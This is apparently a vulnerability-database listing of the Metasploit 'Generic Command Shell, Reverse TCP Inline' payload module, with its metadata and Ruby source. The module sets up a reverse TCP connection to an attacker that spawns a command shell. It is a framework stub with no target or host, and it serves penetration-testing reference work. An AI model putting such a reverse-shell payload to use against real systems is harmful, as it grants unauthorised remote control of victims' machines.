Generic Command Shell, Reverse TCP Inline

2006-08-26T02:13:25
ID MSF:PAYLOAD/GENERIC/SHELL_REVERSE_TCP
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

Connect back to attacker and spawn a command shell

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/payload/generic'
require 'msf/core/handler/reverse_tcp'

module MetasploitModule

  CachedSize = 0

  include Msf::Payload::Single
  include Msf::Payload::Generic

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Generic Command Shell, Reverse TCP Inline',
      'Description'   => 'Connect back to attacker and spawn a command shell',
      'Author'        => 'skape',
      'License'       => MSF_LICENSE,
      'Handler'       => Msf::Handler::ReverseTcp,
      'Session'       => Msf::Sessions::CommandShell
      ))
  end
end